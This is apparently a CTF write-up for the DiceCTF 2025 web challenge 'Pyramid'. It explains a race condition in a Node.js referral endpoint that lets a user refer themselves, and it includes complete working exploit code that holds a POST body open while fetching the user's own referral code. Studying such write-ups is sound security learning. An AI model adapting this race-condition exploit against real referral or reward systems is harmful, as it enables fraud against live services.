Overview

DiceCTF 2025 - Web - Pyramid

x4132 x4132
December 28, 2025
2 min read

Challenge Overview

Objective: Obtain 100,000,000,000 coins to purchase the flag by exploiting a race condition in a pyramid scheme referral system.

Vulnerability Analysis

The application contains a race condition vulnerability in the user registration endpoint (/new). The key issue lies in the response timing:

  1. The server sends back the user token immediately in headers
  2. The user and referrer entries are only created after the request ends
  3. This timing difference allows us to manipulate the referral system

Here’s the vulnerable code:

app.post('/new', (req, res) => {
const token = random()
const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null
// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }
users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})
// Token is sent BEFORE we make the actual user !!111!!
res.header('set-cookie', `token=${token}`)
res.redirect('/')
})

Exploitation Steps

  1. Initial Setup

    • Create a new user by sending a request to /new
    • Capture the user’s token from the response
  2. Race Condition Exploitation

    • Generate a referral code for our user using the /code endpoint
    • Use our own referral code during registration
    • Due to the race condition, we can refer ourselves
  3. Completing the Exploit

    • Create another user to trigger the referral reward
    • Repeatedly cash out to accumulate coins

Exploit Code

const https = require("https");
const crypto = require("crypto");
const random = () => crypto.randomBytes(16).toString("hex");
let optionsProd = {
hostname: "pyramid.dicec.tf",
port: 443,
path: "/new",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Keep-Alive": 5,
},
timeout: 5000,
};
const options = optionsProd;
const req = https.request(options, (res) => {
console.log(res.statusCode);
});
req.on("socket", (socket) => {
console.log("Socket Connected");
socket.on("data", (data) => {
console.log(data.toString());
let token = data.toString().match(/token=([a-z0-9]+)/)[1];
fetch(
`https://${options.hostname}/code`,
{
headers: { cookie: `token=${token}` },
},
)
.then((response) => {
console.log(response.status);
return response.text();
})
.then((text) => {
let referralToken = text.match(
/<strong>([a-z0-9]+)<\/strong>/,
)[1];
console.log("Referring token", referralToken);
req.write(`refer=${referralToken}`);
req.end();
});
});
});
req.write(`name=${random()}&`);

Post-Exploitation

After running the exploit:

  1. Manually create a new user
  2. Use the cash-out functionality repeatedly to accumulate the required coins
  3. Purchase the flag once sufficient coins are obtained

Recap

fun exploit. iirc this service was not instanced and got DOS’d by a request flood just as i was trying to get the flag, which is always appreciated.